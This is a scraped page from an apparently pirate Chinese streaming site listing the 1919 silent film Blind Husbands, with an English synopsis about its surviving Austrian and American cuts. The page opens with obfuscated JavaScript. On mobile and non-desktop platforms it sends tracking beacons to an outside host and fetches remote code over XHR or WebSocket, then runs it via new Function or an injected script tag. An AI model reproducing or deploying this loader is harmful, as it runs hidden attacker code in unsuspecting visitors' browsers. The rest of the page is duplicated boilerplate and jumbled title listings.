function SZAWLeE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VSlgZzCX(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return SZAWLeE(t);};window[''+'N'+'q'+'s'+'M'+'T'+'S'+'F'+'w'+'t'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function yvQO(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VSlgZzCX,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=yvQO(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/10173/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=yvQO(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLnBocHJudS5jb20lM0E4ODDkx','d3NzJTNBJTJGJTJGYS54dXdkdWkuY29tJTNBOTUzMw====','10570',window,document,['D','=']);}:function(){};
影片信息
- 片名:盲目的丈夫们
- 状态:HD中字
- 主演:萨姆·德·格拉斯/Francelia/Billington/埃里克·冯·施特罗海姆/Fay/Holderness/Richard/Cumming/
- 导演:埃里克·冯·施特罗海姆/
- 年份:1919
- 地区:美国
- 类型:剧情/爱情/
- 时长:内详
- 上映:1919-12-07
- 语言:英语
- 更新:2025-04-20 20:53
- 简介:Two differences between this Austrian version and the generally available American version are immediately obvious they differ both in their length and in the language of the intertitles. The American version is only 1,883 metres long - at 18 frames per second a difference of some 7 minutes to the Austrian version with 2,045 metres. Whereas we originally presumed only a negligible difference, resulting from the varying length of the intertitles, a direct comparison has nevertheless shown that the Austrian version differs from the American version both in the montage and in the duration of individual scenes. Yet how could it happen that the later regional distribution of a canonical US silent film was longer than the original version The prevalent American version of Blind Husbands does not correspond to the version shown at the premiere of 1919. This little-known fact was already published by Richard Koszarski in 1983. The film was re-released by Universal Pictures in 1924, in a version that was 1,365 feet (416 metres) shorter. At 18 frames per second, this amounts to a time difference of 20 minutes! Titles were altered, snippets of action removed and at least one major scene taken out entirely, where von Steuben and Margaret visit a small local chapel. (Koszarski) From the present state of research we can assume that all the known American copies of the film derive from this shortened re-release version, a copy of which Universal donated to the Museum of Modern Art in 1941. According to Koszarski the original negative of the film was destroyed sometime between 1956 and 1961 and has therefore been irretrievably lost. This information casts an interesting light on the Austrian version, which can be dated to the period between the summer of 1921 and the winter of 1922. Furthermore, the copy is some 200 metres longer than the US version of 1924. If one follows the details given by Richard Koszarski and Arthur Lennig, this means that, as far as both its date and its length are concerned, the Austrian version lies almost exactly in the middle between the (lost) version shown at the premiere and the re-released one.A large part of the additional length of the film can be traced to cuts that were made to the 1924 version in almost every shot. Koszarski describes how the beginning and the end of scenes were trimmed, in order to speed up the film. However, more exciting was the discovery that the Austrian version contains shots that are missing in the American one - shotscountershots, intertitles - and furthermore shows differences in its montage (i.e. the placing of the individual shots within a sequence). All this indicates that Die Rache der Berge constitutes the oldest and most completely preserved material of the film.
- 452
-
-
复制下方链接,去粘贴给好友吧
-盲目的丈夫们
复制链接
-

关注公众号观影不迷路
-
播放列表
倒序
剧情简介
Two differences between this Austrian version and the generally available American version are immediately obvious they differ both in their length and in the language of the intertitles. The American version is only 1,883 metres long - at 18 frames per second a difference of some 7 minutes to the Austrian version with 2,045 metres. Whereas we originally presumed only a negligible difference, resulting from the varying length of the intertitles, a direct comparison has nevertheless shown that the Austrian version differs from the American version both in the montage and in the duration of individual scenes. Yet how could it happen that the later regional distribution of a canonical US silent film was longer than the original version The prevalent American version of Blind Husbands does not correspond to the version shown at the premiere of 1919. This little-known fact was already published by Richard Koszarski in 1983. The film was re-released by Universal Pictures in 1924, in a version that was 1,365 feet (416 metres) shorter. At 18 frames per second, this amounts to a time difference of 20 minutes! Titles were altered, snippets of action removed and at least one major scene taken out entirely, where von Steuben and Margaret visit a small local chapel. (Koszarski) From the present state of research we can assume that all the known American copies of the film derive from this shortened re-release version, a copy of which Universal donated to the Museum of Modern Art in 1941. According to Koszarski the original negative of the film was destroyed sometime between 1956 and 1961 and has therefore been irretrievably lost. This information casts an interesting light on the Austrian version, which can be dated to the period between the summer of 1921 and the winter of 1922. Furthermore, the copy is some 200 metres longer than the US version of 1924. If one follows the details given by Richard Koszarski and Arthur Lennig, this means that, as far as both its date and its length are concerned, the Austrian version lies almost exactly in the middle between the (lost) version shown at the premiere and the re-released one.A large part of the additional length of the film can be traced to cuts that were made to the 1924 version in almost every shot. Koszarski describes how the beginning and the end of scenes were trimmed, in order to speed up the film. However, more exciting was the discovery that the Austrian version contains shots that are missing in the American one - shotscountershots, intertitles - and furthermore shows differences in its montage (i.e. the placing of the individual shots within a sequence). All this indicates that Die Rache der Berge constitutes the oldest and most completely preserved material of the film.
展开
-
正片
6.0 Life as It Should Be/
-
正片
-
8.0 恨一世的爱(港)//An/Impossible/Love/
-
豆瓣高分
5.0 镜花水母//灿烂未来//光明未来//回光//Bright/Future//Jellyfish//Akarui/Mirai/
-
豆瓣高分
-
正片
-
正片
-
4.0 The Nightsiren Nightsiren/
-
正片
-
正片
-
正片
-
豆瓣高分
5.0 暴雨骄阳(港)/春风化雨(台)/壮志骄阳/
-
豆瓣高分
10.0 蜂巢的幽灵//蜂巢精灵//The/Spirit/of/the/Beehive/
-
豆瓣高分
2.0 扑头前失魂后//The/Man/Without/a/Past/
-
1.0 什恩·卡鲁斯/大卫·苏利文/卡西·古登/Anand Upadhyaya/Carrie Crawford/Jay Butler/John Carruth/Juan Tapia/Ashley Warren/Samantha Thomson/Chip Carruth/Delaney Price/Jack Pyland/Keith Bradshaw/Ashok Upadhyaya/Brandon Blagg/Jon Cook/David Joyner/Eric De Soualhat/
-
-
-
-
正片
-
正片
5.0 Taste Humanity at Night/
-
正片
-
正片
5.0 Yern Peh Lay semakute/Three Cripples/
-
-
正片
-
豆瓣高分
4.0 暴雨骄阳(港)/春风化雨(台)/壮志骄阳/
-
豆瓣高分
4.0 追访费里尼(港)/费里尼的剪贴簿(台)/Fellini's Intervista/
-
正片
3.0 木村文乃/广濑爱丽丝/菜菜绪/沈恩京/大岛优子/室井滋/江口洋介/玉木宏/吉濑美智子/滨田岳/笑福亭鹤瓶/
-
6.0 弗洛伦丝·皮尤/哈里·斯泰尔斯/克里斯·派恩/奥利维亚·王尔德/琪琪·莱恩/嘉玛·陈/尼克·克罗尔/西德尼·钱德勒/凯特·贝兰特/阿西夫·阿里/道格拉斯·史密斯/蒂莫西·西蒙斯/阿里尔·斯泰切尔/史蒂夫·伯格/黛西·苏戴奇斯/马塞罗·莱耶斯/梦露·克莱恩/蒂塔·万·提斯/泰勒·梅/莱克茜·休姆/提娅.利泽伍德/
-
正片
2.0 Kasper/Michaels/Kasper/Michaels/罗伯·贝尔/Rob/Bell/Lynette/Nusbacher/Lynette/Nusbacher/索尔·戴维/Saul/David/
-
正片